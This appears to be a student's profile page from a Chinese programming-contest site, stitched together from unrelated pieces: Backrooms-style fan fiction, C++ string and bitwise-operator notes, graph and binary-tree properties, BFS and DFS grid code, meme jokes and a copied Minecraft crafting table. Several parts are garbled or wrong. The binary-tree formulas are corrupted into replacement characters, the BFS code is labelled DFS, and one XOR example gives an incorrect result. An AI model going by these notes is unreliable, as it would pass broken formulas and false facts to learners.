    暗色博士:“你说什么?”

    派对博士:“没什么,小笨蛋,快睡觉吧。”

    暗色博士:“好,晚安。”


    xuange5.png

    附录三:

    我是[数据隐藏]博士。

    安瑟获得博士学位认证的那一晚里,它兴奋了很久,和我聊了许多关于它的国家的事情。聊着聊着,它就突然啜泣了起来,于是在那天夜里,它神情严肃的写下了这封信。我受它的委托把这封信写在附录里。

    对了,这封信邮寄的地址是红星建筑队目前的基地。

    亲爱的李丹​[9](http://oj.cqxiaomawang.com:8888/user/2132#fn9)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn9)^()^同志:

    很抱歉的告诉您,我曾经所坚持的理想破灭了。我的国家消失在了茫茫的黑暗之中。

    但是不要惋惜,因为一种进步的思想一旦产生,就是无法被熄灭的,它将化为星星之火,播散在这苍茫世界之中。

    而如今的我,很高兴当年你们教给我的东西,我没有忘却,层级各处还有许多人依然怀揣着希望,在黑暗中向前探索。因为我们知道,任何一个伟大的理想、任何一个会改变这个世界现有秩序的思想,它的传播与实现都是艰难且漫长的,但是绝对不会停止。

    或许在我们活着的日子里,我们同样也见不到理想实现的那一天了。但是我坚信,我们的愿望,是一定会实现、一定有实现的那一天的。我相信已经有越来越多的人,开始觉醒并去理解我们所坚持的理想。我满怀希望的期盼着火焰重新燃起,红星照耀的那一天,那一天会来的!

    面包会有的!牛奶会有的!温暖的世界也会有的!一切都会有的!

    安瑟同志 2021年10月X日

    小吉姆

    114514.png绝对没有被修改=/

    小吉姆 位置:MEG阿尔法基地。 关系:MEG研究派对客的实验体。 对流浪者是友好的。 backtube博主​[10](http://oj.cqxiaomawang.com:8888/user/2132#fn10)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn10)^()^。


    描述: 小吉姆是一名变异的派对客,他与其他派对客的区别在于他的身高不足1m,只有约0.7m。 他的“脸”上并不是如同正常派对客一样的“=)”,而是“=/”,“=/”是他的专属符号。(=\和=|同理,有时也会使用 ) 从x光照片中,可以发现他与其他派对客有着明显的差别。 他的“肝脏”与普通派对客小了很多,从事件-170001中我们可以知道派对客的肝脏是储存派对分子(如同派对姬的派对姬转化分子)的。 而小吉姆的肝脏却是很小的,这可以说明一件事,小吉姆是完全无害的,他不会把别人变成派对客,也不想把别人变成派对客=]。


    事件-170001> 点击打开


    小吉姆由狂野兵团在Level11发现,当时他的身上有着大量污渍,还插着几支弩箭,其独特性使得他被活捉,送到了 派对博士帕尔特 那里进行照料。 有人认为小吉姆是派对客的幼体,但这遭到了派对博士(派对客没有幼体和成体之分)和狂野兵团(我们杀了那么多派对客了,没见过小派对客)的一致反对。 有观点认为,小吉姆是在转化失败的产物,也有观点认为,小吉姆是一位小流浪者转化而成的。而派对博士则认为,小吉姆是一只原生的派对客,并不是由人类转化而成的,这可能是一种变异。


    >采访


    小吉姆每天有一顿甜品和饮料。

    ~小吉姆禁止说脏话~ ~老子想说什么就说什么=\~ 禁止小吉姆说脏话,如有发现,立刻制止=[

    ~小吉姆每天可以玩一个小时游戏~ ~小吉姆每天玩游戏可以玩到死=\~ 小吉姆每天可以玩半个小时游戏

    ~不要给小吉姆吃奇奇怪怪的东西~ ~小吉姆胃中能容万物,什么东西都可以吃=/~ 不要给小吉姆吃奇奇怪怪的东西=[

    小吉姆禁止修改文档,否则将禁止每天的甜品饮料。


    实验人员d:小吉姆在游戏方面很有“派对客智慧”,他最近迷上了backtube,在发布自己做的动画。


    附录

    小吉姆制作的~粗糙动画~艺术 ji.gifyeeeeeeeeeeeee.gif每日甜品​​[11](http://oj.cqxiaomawang.com:8888/user/2132#fn11)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn11)^()^ 幸运豆奶冰淇淋1份 雌禽蛋蛋糕 饮料 腰果苏打水 轻松可乐 腰果可乐​[12](http://oj.cqxiaomawang.com:8888/user/2132#fn12)^​(http://ac.cqxiaomawang.com:8888/user/2929#fn12)^()^

    基本定义 string 字符串名; 初始化 string 字符串名 = "赋值内容"; 基本输入 1、不带空格输入 cin >> 字符串名; 2、带空格输入 getline(cin,字符串名); 基本输出 cout << 字符串 ; 基本函数 1、+ += > < == != >= <= 2、求string的长度 字符串名.size(); 删除子串 string s1 = "Real Steel"; s1.erase(1, 3); //删除从位置1开始后面的3个字符,此后 s1 = "R Steel" 插入子串 string s1 = "Limitless", s2="00"; s1.insert(2, "123"); //在下标 2 处插入字符串"123",s1 = "Li123mitless" 查找子串 string s1 = "apple people"; s1.find("ple"); //查找 "ple" 出现的位置 返回值为子串第一次出现的下标返回值为2 s1.find("ple",5); //从下标为5的地方查找"ple"的位置,返回值为9 s1.find("orange"); //查找"orange"的位置,没有查找到,所以返回-1

    遍历字符串 string str; cin >> str; int len = str.size(); for(int i=0;i<len;i++) { printf("%c",str[i]); } 特别注意 字符串的整体输入输出不能使用scanf()和printf()

    有向边 a------>b 有一条边从a到b a能到b,b不能到a 有向图:由有向边和顶点组成的集合

    无向边 a------b 有一条边连接a到b a能到b,b也能到a 无向图:由无向边和顶点组成的集合

    完全无向图:每两个顶点之间都有直接连接的边 n个顶点的完全无向图有n*(n-1)/2无向边

    完全有向图:任意两点之间有直接到达的边 n个顶点的完全有向图有n*(n-1)有向边

    无向图的度:指一个顶点的边数

    有向图的度:分为出度和入度 出度:以该点为起点的有向边的数量 入度:以该点为终点的有向边的数量 度:出度+入度

    连通图(无向图):图中任意点之间存在路径 n个顶点连通图最少:n-1条边

    强连通图(有向图):图中任意点之间存在路径 n个顶点强连通图最少:n条边(环)

    一个n个顶点的树图(树)一定有n-1条边

    二叉树性质

    【性质1】在二叉树的第i层上最多有2�−12​i​−1个结点(满二叉树)(i>=1)

    证明:很简单,用归纳法:当i=1时,2�−12i​−​1=1显然成立;现在假设第i-1层时命题成立,即第i-1层上最多有2�−22i​−​2个结点。由于二叉树的每个结点的度最多为2,故在第i层上的最大结点数为第i-1层的2倍,即 2∗2�−2=2�–1​2​∗2i​−​2**=2i**–1。

    【性质2】深度为k的二叉树至多有2�−12​k​−1个结点(满二叉树)(k>=1)

    证明:在具有相同深度的二叉树中,仅当每一层都含有最大结点数时,其树中结点数最多。因此利用性质1可得,深度为k的二叉树的结点数至多为:20+21+…+2�−1=2�−120**+21**+​**…​+2k​−​1**=2k​−​**1**

    【性质3】对任意一棵二叉树,如果其叶结点数为n0,度为2的结点数为n2,则一定满足:n0=n2+1。

    证明:因为二叉树中所有结点的度数均不大于2,所以结点总数(记为n)应等于0度结点数n0、1度结点n1和2度结点数n2之和:

    n=n0+n1+n2  ……(式子1)
    

    Copy

    另一方面,1度结点有一个孩子,2度结点有两个孩子,故二叉树中孩子结点总数是:

    n1+2*n2
    

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    树中只有根结点不是任何结点的孩子,故二叉树中的结点总数又可表示为:

    n=n1+2*n2+1 ……(式子2)
    

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    由式子1和式子2得到:

    n0=n2+1
    

    Copy

    【性质4】具有n个结点的完全二叉树的深度为�����(���2�)+1floor**(log2n**)+​1​** 证明:假设深度为k,则根据完全二叉树的定义,前面k-1层一定是满的,所以�>2�–1−1n**>2k**–1​−​1**。但n又要满足�<=2�−1​n​<=2k​−​1。所以,2�–1–1<�<=2�−12k**–1**–1**<​n​<=2k​−​1**。变换一下为2�–1<=�<2�2k**–1**<=​n​<2k。 以2为底取对数得到:�−1<=���2�<�​k​−​1​<=log2n**<k。而k是整数,所以�=�����(���2�)+1k**=fl​oor​(log2n**)**+​1​。

    【性质5】对于一棵n个结点的完全二叉树,对任一个结点(编号为i),有以下性质:

    ①如果i=1,则结点i为根,无父结点;如果i>1,则其父结点编号为i/2。如果2i>n,则结点i无左孩子(当然也无右孩子,为什么?即结点i为叶结点);否则左孩子编号为2i。

    ②如果2i+1>n,则结点i无右孩子;否则右孩子编号为2i+1。

    罗翔语录图片 的图像结果

    法外狂徒张三是谁_罗翔张三是什么梗-左将军游戏

    罗翔经典语录

    image

    天生我材必有用,老鼠儿子会打洞!春风又绿江南岸,中午来份蛋炒饭

    代码存储仓库:

    //广度优先搜索(DFS)(冰法师)

    #include<bits/stdc++.h>
    using namespace std;
    int n,m;
    char arr[101][101];
    bool flag[101][101];
    int step[101][101];
    int tx[4]={-1,1,0,0};
    int ty[4]={0,0,1,-1};
    struct pos{
    	int x,y;
    }ks,js;
    void bfs(){
    	queue<pos> q;
    	q.push(ks);
    	step[ks.x][ks.y]=0;
    	while(!q.empty()){
    		pos temp=q.front();
    		for(int i=0;i<=3;i++){
    			int nx=temp.x+tx[i];
    			int ny=temp.y+ty[i];
    			if(arr[nx][ny]!='#'&&flag[nx][ny]==0){
    				if(nx>=1&&nx<=n&&ny>=1&&ny<=m){
    					flag[nx][ny]=1;
    					pos newpos;
    					newpos.x=nx;
    					newpos.y=ny;
    					q.push(newpos);
    					step[nx][ny]=step[temp.x][temp.y]+1;
    					if(nx==js.x&&ny==js.y){
    						return;
    					} 
    				}
    			} 
    		}
    		q.pop();
    	} 
    } 
    int main(){
    	cin>>n>>m;
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			cin>>arr[i][j];
    			if(arr[i][j]=='S'){
    				ks.x=i;
    				ks.y=j;
    			}
    			if(arr[i][j]=='E'){
    				js.x=i;
    				js.y=j;
    			}
    		}
    	}
    	bfs();
    	cout<<step[js.x][js.y]<<endl;
    	return 0;
    }
    

    Copy


    //深度优先搜索(DFS)(大法师)

    #include<bits/stdc++.h>
    using namespace std;
    struct pos{int x,y;}ks,js;
    int tx[4]={0,1,0,-1};
    int ty[4]={1,0,-1,0};
    int n,num[101][101];
    bool flag[101][101],cnt;
    void dfs(pos temp){
    	flag[temp.x][temp.y]=true;
    	if(temp.x==js.x&&temp.y==js.y){
    		cnt=true;
    		return;
    	}
    	for(int i=0;i<=3;i++){
    		int nx=tx[i]+temp.x;
    		int ny=ty[i]+temp.y;
    		if(nx>=1&&nx<=n&&ny>=1&&ny<=n){
    			if(num[nx][ny]==0&&flag[nx][ny]==false){
    				pos newpos;
    				newpos.x=nx;
    				newpos.y=ny;
    				dfs(newpos);
    			}
    		}
    	}
    }
    int main(){
    	cin>>n;
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=n;j++){
    			cin>>num[i][j];
    		}
    	}
    	cin>>ks.x>>ks.y;
    	cin>>js.x>>js.y;
    	dfs(ks);
    	if(cnt)cout<<"YES"<<endl;
    	else cout<<"NO"<<endl;
    	return 0;
    }
    

    Copy


    #include<bits/stdc++.h>
    using namespace std;
    struct pos{int x,y;};
    bool flag[101][101]; 
    int n,m,cnt,num[101][101];
    int tx[8]={0,0,1,-1,1,1,-1,-1};
    int ty[8]={1,-1,0,0,-1,1,1,-1};
    void dfs(pos temp){
    	num[temp.x][temp.y]=0;
    	flag[temp.x][temp.y]=true;
    	for(int i=0;i<=7;i++){
    		int nx=tx[i]+temp.x;
    		int ny=ty[i]+temp.y;
    		if(nx>=1&&nx<=n&&ny>=1&&ny<=m){
    			if(num[nx][ny]==1&&flag[nx][ny]==false){
    				pos newpos;
    				newpos.x=nx;
    				newpos.y=ny;
    				dfs(newpos);
    			}
    		}
    	}
    }
    int main(){
    	cin>>n>>m;
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			char temp;
    			cin>>temp;
    			if(temp=='.'){
    				num[i][j]=0;
    			}
    			else{
    				num[i][j]=1;
    			}
    		}
    	}
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			if(num[i][j]==1){
    				cnt++;
    				pos newpos;
    				newpos.x=i;
    				newpos.y=j;
    				dfs(newpos);
    			}
    		}
    	}
    	cout<<cnt<<endl;
    	return 0;
    }
    /*
    10 12
    W........WW.
    .WWW.....WWW
    ....WW...WW.
    .........WW.
    .........W..
    ..W......W..
    .W.W.....WW.
    W.W.W.....W.
    .W.W......W.
    ..W.......W.
    */
    

    位运算符 按位与& (同1则1,一0则0)

    例如

    3&5 0011 & 0101

    0001 3&5 = 1 按位或| (同0则0,一1则1)

    例如

    3|5 0011 | 0101

    0111 3|5 = 7 按位取反~ (01互换)

    例如1

    ~3(8位二进制数) ~ 0000 0011

    1111 1100
    

    ~3=-4 按位异或^ (不同为1,相同为0)

    例如

    3^5 0011 ^ 0101

    0110 3^5 = 6 位运算符 左移运算:<< 用法: x<<y

    作用:将表示 x 的二进制数的每一位左移 y 位,移出去的数就丢掉,空余地方用 0 补位。

    例如:一个二进制数 10101011 将其左移 3 位,得到 01011000。

    右移运算:>> 用法: x>>y

    作用:将表示 x 的二进制数的每一位右移 y 位,移出去的数就丢掉,空余地方用 0 补位。

    例如:一个二进制数 10101011 将其右移 3 位,得到 00010101。

    按位与运算: & 用法:x&y

    作用:按位进行与运算。

    例如:1101 和 0011 进行与运算就为:0001。

    按位或运算: | 用法:x|y

    作用:按位进行或运算。

    例如:1101 和 0011 进行或运算就为:1111。

    按位异或运算: ^ 用法:x^y

    作用:按位进行异或运算。

    例如:1101 和 0011 进行异或运算就为:0001。

    按位非运算: ~ 用法:~x

    作用:按位进行非运算。

    例如:1101进行非运算就为:0010。

    状态压缩常用位运算符技巧 1.取出x的第k位: y = x&(1<<(k-1));//i<<(k-1)能够做成一个第k为1,其余位为0,如:10000 的二进制数,再结合位与运算就能提取到变量x的二进制中第k位数为1还是0了,常用于判断 2.将x第k位取反: x ^= (1<<(k-1));//通过左移制作一个10000般的二进制数,然后结合异或运算的特点,将变量x的二进制中第k位数取反 3.将x第k位变为1: x |= (1<<(k-1));//通过左移制作一个10000般的二进制数,然后结合异或运算的特点,将变量x的二进制中第k位数修改为1 4.将x第k位变为0: x &= (~(1<<(k-1))); //通过左移制作一个0001 0000般的二进制数,然后位非运算将其修改为1110 0000般的二进制数,最后结合位与运算的特点,将变量x的二进制中第k位数修改为0 5.将x最靠右的1去掉: x = x&(x-1); //减去1会将数字二进制中末尾的1去掉,然后需要借位的地方全变为1,如原1010 0000,减去1后变成1001 1111,再进位与运算得1000 0000,相当于去掉末尾1 6.取出x最靠右的1: y = x&(-x); //结合负数的二进制的特点,如数字20的二进制为0001 0100,-20的二进制为1110 1100,再进行位与运算能够获取到二进制数100也就是4,及提前数字x中包含的最大2的指数值 7.判断是否有两个连续的一: if(x&(x<<1)) cout<<"YES"; //左移后的数字会进行偏移,如13的二进制0000 1101,左移后未0001 1010,再进行位与运算,

    《我的世界》是一款带有生存冒险元素的建造类游戏,为了在游戏里生存和发展,玩家需要通过伐木、挖矿、捕猎等方式获取资源,并通过合成系统打造武器和工具。随着游戏的进行,玩家自立更生,逐渐建造出一个自己的家园。

    我们蔡徐村里以前闹过坤,搞得人心惶惶,半夜小孩子一哭,外面总能听到篮球声,村长迫不得已把我们村的唯一一个小型篮球场都给拆掉了,有一次我爸去上山砍柴火的时候,后山那乱坟岗里传出了鸡叫声,当时没听清楚,后来村长和我们村几个大户人家耗费巨资,把后山那一堆乱坟岗给填了,做了一个篮球场,扔了一个篮球进去,放了两只鸡,然后把篮球场用很高的墙围住,不许任何人进去,后来我们村半夜篮球声就消失了,我感觉这都是老一辈的迷信,直到有一天,我和几个小伙伴偷偷跑到后山篮球场玩,隔着很远,听到了一首歌《鸡你太美》回来后就得了一场怪病,哭着闹着要打篮球,后来没办法,找了个法师给镇住了,现在村里后山那地没人敢去,有时候上山有人捡柴火的时候,总是能听到篮球声和鸡你太美。

    鸡你太美二

    两年半后,我们村子恢复了平静。有一天,一个自号镇坤仙人的徐坤人来了我们村,他说可以镇住坤坤的怨灵,我们信了他。第二天,我们村敲锣打鼓地送他上了无坤山,那一天,也不知道是惊动了rap神还是坤坤的怨灵冲撞法道,镇坤仙人一去不复返,后来村长冒着得坤病的风险去看情况,他鸡叫着提着一只鲲回来了,说那是镇坤仙人,找到他时,他还在打坤球。

    《Minecraft我的世界》操作相当简单。具体如下(可在设定里自定义):

    鼠标左键 - 攻击/使用工具

    鼠标右键 - 打开箱子/放置物品

    W - 前进

    S - 后退

    A - 左平移

    D - 右平移

    空格 - 跳跃

    左Shift - 潜行

    Q - 丢弃物品

    I - 打开物品栏

    T - 聊天

    F - 雾化范围

    F5 - 切换第一/第三人称

    F11 - 切换全屏

    我的世界里面,房子是个非常重要的东西,也是生存必须的物品,很多时候可以抵挡住怪物的侵袭,不过对于房子的功能性,玩家可以通过后期的发展来完善,下面是游戏中最简单的房子制作方法。

    最简单房子制作方法

    游侠网

    一个普通的房子几分钟搞定。

    下面是制作方法

    [游侠网](file:///C:/Documents%20and%20Settings/Administrator/%E6%A1%8C%E9%9D%A2/%E4%B8%80%E9%94%AE%E6%8E%92%E7%89%88/lib/[object])

    先建宽9格长10格。

    游侠网

    然后高4格,中间开两个洞放门。

    游侠网

    我的世界 基本合成

    名称 材料 合成示意图 描述
    木板 Wooden Planks 原木 Wood 游侠网 基本的建筑材料.
    木棍 Sticks 木板 Wooden Planks 游侠网 用来合成火把,弓箭,栅栏,木牌,工具和武器.
    火把 Torches 煤碳和木棍 Coal & Stick 游侠网 提供照明,避免刷怪,融化雪和冰块.
    工作台 Crafting Table 木板 Wooden Planks 游侠网 右键点击展开一个3X3的合成台.
    熔炉 Furnace 圆石 Cobblestone 游侠网 用来烧制烹饪物品.
    箱子 Chest 木板 Wooden Planks 游侠网 存放物品、迷路时暂存身上物品,两个箱子并排放可以增加存放空间.
    梯子 Ladders 木棍 Sticks 游侠网 用来爬墙.
    栅栏 Fence 游侠网 不跨越栅栏,别墅内的隔栏(装饰品)、防止跌落.
    船 Boat 木板 Wooden Planks 游侠网 在水中行驶.
    木质台阶 Wooden Slabs 游侠网 用于建造台阶、屋檐、窗台等.
    石质台阶 Stone Slabs 石头,砖,石砖,砂石,圆石,地狱砖,石英 Stone or Brick or Stone Brick or Sandstone or Cobblestone or Nether Brick or Quartz 游侠网
    告示牌 Sign 木板和木棍 Wooden Planks & Stick 游侠网 门牌、路标、告示牌、贴在楼梯两侧可组成沙发.
    门 Doors 木板或者铁锭 Wooden Planks or Iron Ingots 游侠网 木门能够用手打开或者红石系统打开. 铁门只能用红石系统打开.

    方块合成

    名称 材料 合成示意图 描述
    萤石块 Glowstone 萤石粉 Glowstone Dust 游侠网 能够用于水下照明.
    雪块 Snow Block 雪球 Snowballs 游侠网 建筑材料.
    TNT 火药和沙子 Gunpowder & Sand 游侠网 爆炸物.
    粘土块 Clay Block 粘土 Clay 游侠网 建筑材料.
    砖块 Brick Block 红砖 Clay Bricks 游侠网 坚硬的建筑材料.
    书架 Bookshelf 木板和书本 Wooden Planks & Books 游侠网 装饰和附魔.
    沙石 Sandstone Block 沙子 Sand 游侠网 建筑材料.
    平滑沙石 Smooth Sandstone 沙石 Sandstone Block 游侠网
    錾制 Decorative Sandstone 沙质台阶 Sandstone Slabs 游侠网
    音符盒 Note Block 木板和红石 Wooden Planks & Redstone 游侠网 当点击时发出音符.
    南瓜灯 Jack-O Lantern 南瓜和火把 Pumpkin & Torch 游侠网 光源.
    青金石块 Lapis Lazuli Block 青金石染料 Lapis Lazuli Dye 游侠网 存储青金石染料.
    钻石块 Diamond Block 钻石 Diamonds 游侠网 存储钻石.
    金块 Gold Block 金锭 Gold Ingots 游侠网 存储金锭.
    铁块 Iron Block 铁锭 Iron Ingots 游侠网 存储铁锭.
    绿宝石块 Emerald Block 绿宝石 Emeralds 游侠网 存储绿宝石.
    石砖 Stone Brick 石头 Stone 游侠网 建筑材料.
    木质楼梯 Wooden Stairs 木板 Wooden Planks 游侠网 做楼梯.
    石质楼梯 Stone Stairs 圆石,沙,砖石,石砖,地狱砖,石英Cobblestone or Sandstone or Brick or Stone Brick or Nether Brick or Quartz 游侠网
    圆石墙 Cobblestone Wall 圆石或者苔石 Cobblestone or Moss Stone 游侠网 类似于栅栏的作用.
    红石块 Block of Redstone 红石 Redstone 游侠网 红石电源.
    地狱砖块 Nether Brick 地狱砖 Nether Brick (Item) 游侠网 建筑材料.
    石英块 Block of Quartz 下界石英 Nether Quartz 游侠网
    錾制石英块 Chiseled Quartz Block 石英台阶 Quartz Slabs 游侠网
    竖纹石英块 Pillar Quartz Block 石英块 Block of Quartz 游侠网

    工具合成

    Name Ingredients Image Description
    镐 Pickaxe 木棍加木板或圆石或铁锭或金锭或钻石 Sticks & Wooden Planks or Cobblestone or Iron Ingots or Gold Ingots or Diamonds 游侠网 挖方块和资源.
    斧头 Axes 游侠网 比用拳头砍树快.
    锹 Shovels 游侠网 用来挖沙子,沙砾,图,草和雪.
    锄 Hoes 游侠网 用来锄地.
    钓鱼竿 Fishing Rod 木棍和线 Sticks & String 游侠网 钓鱼.
    打火石 Flint & Steel 铁锭和燧石 Iron Ingot & Flint 游侠网 生火.
    指南针 Compass 铁锭和红石 Iron Ingots & Redstone 游侠网 指向出生点.
    钟 Clock 金锭和红石 Gold Ingots & Redstone 游侠网 显示时间和白天黑夜.
    铁桶 Bucket 铁锭 Iron Ingots 游侠网 用来装水,岩浆,牛奶.
    剪刀 Shears 游侠网 用来剪羊毛和树叶

    防具合成

    名称 材料 合成示意图 描述
    头盔 Helmet 皮革或铁锭或金锭或钻石 Leather or Iron Ingots or Gold Ingots or Diamonds 游侠网 提供1.5护甲值(钻石).
    胸甲 Chestplate 游侠网 提供4点护甲值(钻石).
    护腿 Leggings 游侠网 提供3点护甲值(钻石).
    靴子 Boots 游侠网 提供1.5点护甲值(钻石).
    剑 Sword 木棍加上木板或圆石或铁锭或金锭或钻石 Sticks & Wooden Planks or Cobblestone or Iron Ingots or Gold Ingots or Diamonds 游侠网 对怪物造成更多的伤害.
    弓 Bow 线和木棍 String & Sticks 游侠网 射箭.
    箭 Arrow 燧石和木棍和羽毛 Flint & Stick & Feather 游侠网 箭.

    道具合成

    名称 材料 合成示意图 描述
    压力版 Pressure Plates 木板或石头 Wooden Planks or Stone 游侠网 有生物或玩家站在上面时会发出红石信号.
    活板门 Trapdoor 木板 Wooden Planks 游侠网 可以通过右键点击和红石打开.
    栅栏门 Fence Gate 木板和木棍 Wooden Planks & Sticks 游侠网 可以像门一样被打开.
    按钮 Button 石头或者木板 Stone or Wooden Plank 游侠网 按下的时候发送一个短的红石信号.
    拉杆 Lever 木棍和圆石 Stick & Cobblestone 游侠网 通过开关来控制红石信号的输出.
    中继器 Redstone Repeater 石头,红石火把,红石和石头 Stone & Redstone Torch & Redstone 游侠网 红石电路的二极管或者延时器.
    红石火把 Redstone Torch 木棍和红石 Stick & Redstone 游侠网 不间断发送红石信号.
    唱片机 Jukebox 木板和钻石 Wooden Planks & Diamond 游侠网 播发唱片.
    发射器 Dispenser 圆石,弓和红石 Cobblestone & Bow & Redstone 游侠网 开启的适合发射物品.
    活塞 Piston 木板,原始,铁锭和红石 Wooden Planks & Cobblestone & Iron Ingot & Redstone 游侠网 推动方块.
    粘性活塞 Sticky Piston 活塞和史莱姆球 Piston & Slime Ball 游侠网 推拉方块.
    矿车 Minecart 铁锭 Iron Ingots 游侠网 在铁轨上行驶.
    动力矿车 Powered Minecart 矿车和熔炉 Minecart & Furnace 游侠网 烧碳来产生能量推动其他矿车前进.
    运输矿车 Storage Minecart 矿车和箱子 Minecart & Chest 游侠网 通过铁路运送材料和物资.
    铁轨 Rail 铁锭和木棍 Iron Ingots & Stick 游侠网 铁轨.
    充能铁轨 Powered Rail 金锭,木棍和红石 Gold Ingots & Stick & Redstone 游侠网 被激活的时候加速矿车.
    探测铁轨 Detector Rail 铁锭,石质压力板和红石 Iron Ingots & Stone Pressure Plate & Redstone 游侠网 矿车在其上面经过时产生红石信号.
    红石灯 Redstone Lamp 红石和萤石块 Redstone & Glowstone Block 游侠网 照明设施,需红石能量激活.
    绊线 Tripwire Hook 铁锭,木棍和木板 Iron Ingot & Stick & Wooden Plank 游侠网 通过时产生红石信号.
    激活铁轨 Activator Rail 铁锭,木棍和红石火把 Iron Ingots & Sticks & Redstone Torch 游侠网 常用来激活TNT矿车和漏斗矿车.
    阳光传感器 Daylight Sensor 玻璃,下界石英和木板 Glass & Nether Quartz & Wooden Slabs 游侠网 拜托发出红石信号.
    投掷器 Dropper 圆石和红石 Cobblestone & Redstone 游侠网 扔出物品(类似发射器).
    漏斗 Hopper 铁锭和箱子 Iron Ingots & Chest 游侠网 物品通过漏斗在箱子中移进或者移出.
    漏斗矿车 Minecart with Hopper 漏斗和矿车 Hopper & Minecart 游侠网 类似漏斗的功能.
    TNT矿车 Minecart with TNT TNT和矿车 TNT & Minecart 游侠网 通过激活的铁道发生爆炸或者手动爆炸.
    红石比较器 Redstone Comparator 红石火把,原始和下界石英 Redstone Torches & Stone & Nether Quartz 游侠网 仅在红石电路中使用.
    陷进箱 Trapped Chest 箱子和绊线 Chest & Tripwire Hook 游侠网 打开箱子的适合发出红石信号.
    测重压力板 Weighted Pressure Plates 铁锭或者金锭 Iron Ingots or Gold Ingots 游侠网 类似普通的压力板,但是只能用物品激活. 物品的数量绝对红石信号的强度.

    食物合成

    名称 材料 合成示意图 描述
    碗 Bowl 木板 Wooden Planks 游侠网 装蘑菇煲.
    蘑菇煲 Mushroom Stew 碗,红蘑菇和棕色蘑菇Bowl & Red Mushroom & Brown Mushroom 游侠网 恢复4点饥饿值.
    面包 Bread 小麦 Wheat 游侠网 恢复2.5点饥饿值.
    金苹果 Golden Apple 苹果和金粒 Apple & Gold Nuggets 游侠网 恢复2点饥饿值.
    附魔金苹果 Enchanted Golden Apple 苹果和金块 Apple & Gold Blocks 游侠网 恢复2点饥饿值. 同时给予30秒的抗火属性.
    糖 Sugar 甘蔗 Sugar Cane 游侠网 用来制作蛋糕.
    蛋糕 Cake 牛奶桶,汤,小麦和鸡蛋 Milk Buckets & Sugar & Wheat & Egg 游侠网 每块恢复1.5饥饿值,一共6块.
    曲奇 Cookies 小麦和可可豆 Wheat & Cocoa Beans 游侠网 恢复1点饥饿值.
    西瓜 Melon Block 西瓜片 Melon Slice 游侠网 西瓜.
    西瓜种子 Melon Seeds 游侠网 能够种植在耕地上.
    南瓜种子 Pumpkin Seeds 南瓜 Pumpkin 游侠网
    金胡萝卜 Golden Carrot 胡萝卜和金粒 Carrot & Gold Nuggets 游侠网 酿造原料,恢复3点饥饿值.
    南瓜派 Pumpkin Pie 南瓜,鸡蛋和糖 Pumpkin & Egg & Sugar 游侠网 恢复4点饥饿值.

    其他合成

    名称 材料 合成示意图 描述
    床 Bed 木板和羊毛 Wooden Planks & Wool 游侠网 在晚上睡觉快速度过夜晚.
    画 Painting 木棍和羊毛 Sticks & Wool 游侠网 装饰.
    纸 Paper 甘蔗 Sugar Cane 游侠网 用来制造地图和书本.
    书 Book 纸 Paper 游侠网 用来制造书架和书与笔.
    书与笔 Book and Quill 书,羽毛和墨囊 Book & Feather & Ink Sac 游侠网 能够写文章.
    地图 Map 纸和指南针 Paper & Compass 游侠网 能够显示附近一块的地图.
    玻璃板 Glass Pane 玻璃 Glass Blocks 游侠网 类似栅栏的窗格玻璃.
    铁栏杆 Iron Bars 铁锭 Iron Ingots 游侠网 类似栅栏但是只有1个方块的高度.
    金锭 Gold Ingot 金粒 Gold Nugget 游侠网 用来制造其他东西.
    地狱砖栅栏 Nether Brick Fence 地狱砖块 Nether Brick 游侠网 类似普通的栅栏只不过原料不同.
    末影之眼 Eye of Ender 末影珍珠和烈焰粉 Ender Pearl & Blaze Powder 游侠网 定位末地传送门.
    附魔台 Enchantment Table 书,钻石和黑曜石 Book, Diamond & Obsidian. 游侠网 用来附魔工具.
    火焰弹 Fire Charge 烈焰粉,碳和火药 Blaze Powder & Coal & Gunpowder 游侠网 能够通过发射器发射的火球.
    末影箱 Ender Chest 黑曜石和末影之眼 Obsidian & Eye of Ender 游侠网 用于储存. 所有末影箱共享一个物品栏.
    信标 Beacon 玻璃,黑曜石和下界之心 Glass & Obsidian & Nether Star 游侠网 用于放置在钻石块,金块,绿宝石块或铁块(或这四种方块的任意组合)结构的金字塔顶端,可以向天空直射光束的功能型方块.
    铁跕 Anvil 铁块和铁锭 Iron Block & Iron Ingot 游侠网 修复物品和合并附魔.
    花盆 Flower Pot 红砖 Bricks 游侠网 装饰.
    物品展示框 Item Frame 木棍和皮革 Sticks & Leather 游侠网 放在墙上展示物品和方块.
    萝卜钓竿 Carrot on a Stick 钓竿和胡萝卜 Fishing Rod & Carrot 游侠网 控制猪.
    烟花火箭 Firework Rocket 火药,纸和烟火之星 Gunpowder & Paper & Firework Star 游侠网 烟花.
    烟火之星 Firework Star 火药,燃料和附加物品(可选) Gunpowder & Dye & an extra ingredient (optional) 游侠网 不同的烟火之星决定不同的烟花效果.

    染料合成

    名称 材料 合成示意图 描述
    骨粉 Bone Meal 骨头 Bone 游侠网 用来使农作物树木快速长大.
    淡灰色染料 Light Gray Dye 骨粉和墨囊 Bonemeal & Ink Sac 游侠网 用于制作淡灰色羊毛.
    灰色染料 Gray Dye 游侠网 用于制作灰色羊毛.
    玫瑰红 Rose Red 玫瑰花 Rose 游侠网 用于制作红色羊毛.
    橙色染料 Orange Dye 玫瑰红和蒲公英黄 Rose Red & Dandelion Yellow 游侠网 用于制作橙色羊毛.
    蒲公英黄 Dandelion Yellow 蒲公英 Dandelion 游侠网 用于制作黄色羊毛.
    黄绿色染料 Lime Dye 仙人掌绿和骨粉 Cactus Green & Bone Meal 游侠网 用于制作黄绿色羊毛.
    淡蓝色染料 Light Blue Dye 青金石染料和骨粉 Lapis Lazuli Dye & Bone Meal 游侠网 用于制作淡蓝色羊毛.
    青色染料 Cyan Dye 青金石染料和仙人掌绿 Lapis Lazuli Dye & Cactus Green 游侠网 用于制作青色羊毛.
    紫色染料 Purple Dye 青金石染料和玫瑰红 Lapis Lazuli Dye & Rose Red 游侠网 用于制作紫色羊毛.
    品红染料 Magenta Dye 粉红色染料和紫色染料 Purple Dye & Pink Dye 游侠网 用于制作品红羊毛.
    粉红色染料 Pink Dye 骨粉和玫瑰红 Bone Meal & Rose Red 游侠网 用于制作粉红色羊毛.

    羊毛合成

